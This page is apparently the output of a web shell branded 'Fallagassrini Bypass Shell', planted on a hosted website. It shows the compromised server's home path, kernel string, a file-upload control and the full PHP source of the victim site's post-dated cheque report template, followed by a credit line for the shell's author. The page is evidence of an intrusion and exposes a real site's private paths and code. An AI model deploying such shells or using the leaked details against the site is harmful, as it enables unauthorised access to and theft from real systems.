? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eldertree/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eldertree/application/views/accounting/xls_pdc_report.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); ?>

<?php
if(!$company){
    $images=base_url() .'assets/logo/default_header.jpg';
    $company_name = '';}
else
{
    foreach($company as $company)
    {
        $loggo=$company['logo'];
        $images=base_url() .'assets/logo/'.$loggo;
        $company_name = $company['nursery_name'];
//        echo $images;
    }
}
$html="";

$image = '<img src="' . $images . '" width="285px" height="80px">';
$bullet = '<img src="' . base_url() . '/assets/images/li_bullet.jpg" align="bottom">';
$html.='<html>
    <head>
        <body style="margin: 1cm 3cm 8cm 3cm;">
            <div style="margin: 0cm 0cm 1cm 0cm;">
                <table width="100%" border="0" >
                    <tbody>
                        <tr>
                            <td colspan="4" align="left">' . $image . '</td>
                        </tr>
                    </table>
                    <br/>';

$html.='<table width="100%" border="0" >
                        <tbody>
                            <tr><td colspan="6" style="text-align:center"><b>Post Dated Cheque Report</b></td></tr>
                            <tr><td colspan="6"></td></tr>
                           
                         </tbody>       
                    </table>';

$html.='<hr><br/>';


$html.='<table width="100%" border="0" cellpadding="-1" cellspacing="-1">
                      <thead>
                        <tr style="font-weight:bold">
                            <th style="background-color:#80C0FF;width:8%">Sl</th>
                            ';
if ($tr_type == 1 || $tr_type == 'all') {
    $html.='<th style="background-color:#80C0FF;width:15%">Transaction No</th>';
}
$html.='<th style="background-color:#80C0FF;width:10%">Cheque No</th>
        <th style="background-color:#80C0FF;width:25%"">Account Name</th>
        <th style="background-color:#80C0FF;">Account Code</th>
        <th style="background-color:#80C0FF;width:15%">Cheque Date</th>                            
        
        <th style="background-color:#80C0FF;">Amount</th>
        </tr>
    </thead>';

$currency = $this->mastermodel->getdatas('finance_currency');

$currency_type = $currency[0]['currency_code'];
$datecov = $this->mastermodel->convdatformat($date1);

$totdebit = 0;
if (count($result) > 0) {
    $i = 1;
    $temp = "";
    foreach ($result as $dbt) {
//        $cid = $customer[$dbt['account']]['cid'];
//        $type = $customer[$dbt['account']]['type'];
//        if ($type == 'Individual') {
//            $insured = $this->customermodel->getSingleFieldValue('customer_personal_ind', 'insured', 'customer_id', $cid);
//        } else {
//            $insured = $this->customermodel->getSingleFieldValue('customer_corp_info', 'insured', 'customer_id', $cid);
//        }

//        $insured = ucwords($insured);
        $debit =$dbt['debit'] ;
//        if (isset($refs_count[$dbt['id']]))
//            $rowspan = $refs_count[$dbt['id']];
//        else
        $rowspan = 1;
        $html.='<tr style="font-size:11px" >';
        if ($temp != $dbt['journal_id']) {
            $html.='<td style="width:8%" rowspan="' . $rowspan . '">' . $i++ . '</td>';

            if ($tr_type == 1 || $tr_type == 'all') {
                $trno = ($dbt['tr_no'] == "") ? "--" : $dbt['tr_no'];
                $html.='<td style="width:15%" rowspan="' . $rowspan . '">' . $trno . '</td>';
            }
            $html.='<td style="width:10%" rowspan="' . $rowspan . '">' . $dbt['cheque_no'] . '</td>';
        } else {
            $html.='<td></td><td></td>';
            if ($tr_type == 1 || $tr_type == 'all') {
                $html.='<td></td>';
            }
        }

        $html.='<td style="width:25%">' . $dbt['chart_account_name'] . '</td>
                <td style="width:15%">' . $dbt['acc_code'] . '</td>
                <td style="text-align:right;width:12%">' . $this->mastermodel->convdatformat($dbt['cheque_date']) . '</td>
                <td style="text-align:right;width:15%">' . $debit . '</td>
         </tr>';

        $totdebit+=$debit;
        $temp = $dbt['journal_id'];
    }
    $totbal = $totdebit;
    if ($totbal > 0) {
        $newtbalance = $totbal;
        $sfx = 'Dr';
    } else if ($totbal < 0) {
        $newtbalance = abs($totbal);
        $sfx = 'Cr';
    } else {
        $newtbalance = 0;
        $sfx = '';
    }

    $colspan = 7;
    $html.='
        <tr style="font-weight:bold;">
        <td colspan="7" style="border-top:1px solid black;"><hr> </td>
        </tr>';
    $html.='<tr style="font-weight:bold">
                <td style="width:8%"></td>
                <td style="width:15%"></td>
                <td style="width:25%">Total Debit/Credit (' . $currency_type . ')</td>            
                <td style="text-align:right;width:10%"></td>
                <td style="text-align:right;width:15%"></td>';
    if ($tr_type == 1 || $tr_type == 'all') {

        $html.='<td style="text-align:right;width:15%"></td>';
    }
    $html.='<td style="text-align:right;width:14%">' . number_format($newtbalance, '2') . '&nbsp;' . $sfx . '</td>
        </tr>';
    $html.='</table><br/><hr>';
} else {
    $colspan = 7;
    $html.='<tr style="font-weight:bold;">
        <td colspan="' . $colspan . '" style="border-top:1px solid"></td>
        </tr>';
    $html.='<tr style="font-weight:bold">
            <td style="width:8%"></td>
            <td style="width:15%"></td>
            <td style="width:25%">Total Debit/Credit (' . $currency_type . ')</td>            
            <td style="text-align:right;width:10%"></td>
            <td style="text-align:right;width:15%"></td>';
    if ($tr_type == 1 || $tr_type == 'all') {

        $html.='<td style="text-align:right;width:15%"></td>';
    }
    $html.='<td style="text-align:right;width:14%"></td>
        </tr>';
}

$footer = "";
$html.='<script type="text/php">

  if ( isset($pdf) ) {
 $font = Font_Metrics::get_font("verdana", "normal");

   $pdf->page_text(60, 570, "' . $footer . '                    Page  {PAGE_NUM} of {PAGE_COUNT}", $font, 10, array(0,0,0));

  }
  </script>';


$html.='</div></body></head></html>';
//echo $html;
//die;

$fname=$file_name;
if($reportin=='pdf')
pdf_create($html, $fname,'true');
else
{
 
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=".$fname.".xls");
    header("Pragma: no-cache");
    header("Expires: 0");
print $html;
exit;   
}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net